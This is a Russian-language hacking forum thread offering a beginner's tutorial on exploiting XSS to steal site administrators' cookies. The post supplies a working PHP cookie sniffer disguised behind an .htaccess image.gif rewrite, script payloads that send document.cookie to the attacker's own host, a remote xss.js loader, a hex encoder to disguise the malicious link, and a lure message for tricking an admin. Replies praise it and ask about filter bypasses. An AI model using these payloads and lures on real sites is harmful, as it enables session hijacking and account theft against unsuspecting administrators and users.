Актуально XSS для новичков

Тема в разделе "Пентестинг", создана пользователем waydam, 12 авг 2016.

  1. waydam

    waydam

    Сообщения:
    464
    Баллы:
    16
    Ну здрасте дорогие. Вот и обещанная статейка про XSS.
    Почему XSS если на самом деле CSS(Cross Site Scripting)? Аббревиатура CSS уже занята по этому XSS.

    Такс такс, как же нам найти XSS на каком либо сайте? Ответ прост, достаточно вывести алерт, окно с вашим текстом. Как выглядит окно и вообще саму демонстрацию нахождения XSS я показывал в одном из своих видео.

    Для того, чтобы найти XSS на сайте, нужно вводить даный яваскрипт код во всех доступных формах для ввода на сайте: <script>alert()</script>
    Увидите что выскочило окошко как у меня на видео, значит уязвимость на данном сайте присутствует.

    XSS уязвимости бывают 2х видов, пассивные и активные. Мы рассмотрим оба вида уязвимости.
    Активная уязвимость не требует каких либо действи со стороны пользователя которого вы хотите взломать. Пример активной XSS: Есть сайт знакомств допустим, на этом сайте есть возможность менять свои данные, если при вводе вышеупомянутого яваскрипт кода в строку «Имя» например, выскочит окошко, то это активная XSS. Допустим вы хотите получить Куки админа, используя методы СИ(Социальной инжинерии) вы заставляете админа перейти на вашу страницу где указано ваше имя. Админ переходит и его куки оказываются у нас :) Если на сайте есть возможность писать комментарии, допустим под какой-либо новостью, то получить куки админа и многих других пользователей сайта, вообще не составит труда, так как ваше имя отображается в комменте который вы оставили.

    Активная XSS, практика:

    Допустим мы нашли активну xss в строке «комментарий», каком-то блоге где есть возможность комментирования статей. В первую очередь нужно создать сниффер, для этого создаем php файл sniff.php с таким кодом и заливаем его на наш хостинг:
    Код:
    <?php
    $ip=UrlDecode(getenv('REMOTE_ADDR'));
    $referer=UrlDecode(getenv('HTTP_REFERER'));
    $query=UrlDecode(getenv('QUERY_STRING'));
    mail("/cdn-cgi/l/email-protection","Cookie","IP: $ip\n Adress:referer\n Query: $query");
    ?>
    Далее берем любую маленькую gifку, называем ее image.gif и добавляем в файл .htaccess такие параметры:

    Код:
    RewriteEngine On
    RewriteRule image.gif sniff.php
    Теперь пишем в строку «Комментарий» такой код:
    Код:
    <script>img = new Image(); img.src = "http://vash-site.ru/image.gif?"+document.cookie;</script>
    Дело в шляпе, осталось только подождать пока админ зайдет на страницу и его куки придут вам на мыло)

    Пассивная уязвимость уже требует каких либо действий со стороны жертвы, надо будет чтобы жертва перешла по сформированной нами ссылке, чтобы получить куки.Пример пассивной XSS: На сайте есть строка поиска информации по сайту, при вводе яваскрипт кода в этой строке, также выскакивает окно. Это значит что на сайте присутсвует пассивная XSS. Многие считают что пассивные XSS несут в себе незначительные угрозы, но это колоссальная ошибка. Ее лишь чуть сложнее эксплуатировать, но если грамотно создать запрос и грамотно впарить жертве нашу сслыку, то без проблем можно украсть куки админа или любого другого пользователя сайта.

    Пассивная XSS, практика:

    Тут уже немного посложнее. Нашли сайт с уязвимостью, вида site.ru/info.php?find=[xss]
    Далее создаем файл xss.js с кодом и размещаем его на хостинге:
    Код:
    img=new Image(); img.src="http://vash-site.ru/image.gif?"+document.cookie;
    Далее создаем запрос такого типа:
    site.ru/info.php?find=<script>src=http://vash-site.ru/xss.js</script> и впариваем эту ссылку админу. Так как такая ссылка вызывает подозрения, чтобы все прошло успешно надо ее зашифровать. Напишем простенький шифратор/дешифратор hex. Создаем файл hex.php с таким кодом и размещаем его на хостинге:
    Код:
    <?
    $str = urldecode($_SERVER['QUERY_STRING']);
    for($i=0;$i<strlen($str);$i++) {
    $hex=dechex(ord($str[$i]));
    if($str[$i]=='&')
    echo "$str[$i]";
    else
    echo "%$hex";
    }
    ?>
    Соответсвенно unhex.php:
    Код:
    <?
    echo urldecode($_SERVER['QUERY_STRING']);
    ?>
    Шифруем ссылку: vash-site.ru/hex.php?<script> src=http://vash-site.ru/xss.js</script>

    Получаем hex символы, делаем запрос в таком виде: site.ru/info.php?find=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e

    Теперь ссылка выглядит менее подозрительно. Кидаем ссылку админу "Привет, что за херня с твоим сайтом? site.ru/info.php?find=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e" Админ переходит по ссылке и мы получаем его куки)

    Вот и все дорогие друзья. Прошу простить за корявость и за то, что без видео :)

    by waydam special for VLMI.SU

    waydam.ru
  2. KRAVENX

    KRAVENX

    Сообщения:
    237
    Баллы:
    16
    топовый
  3. DarkMatter

    DarkMatter

    Сообщения:
    4
    Баллы:
    1
    Спасибо, хорошая статья. А не подскажешь, варианты обхода фильтров для активной/пассивной XSS? Например вписываю
    <scr<script>ipt>. Оставляет так - scrscriptipt.
  4. waydam

    waydam

    Сообщения:
    464
    Баллы:
    16
    В данном случае фильтр стоит не на слово "script" а на сами символы ><. Ищи другие формы, ибо с фильтрами этих символов, работать бесполезно.
  5. waydam

    waydam

    Сообщения:
    464
    Баллы:
    16
    Демонстрация поиска

Поделиться этой страницей

Top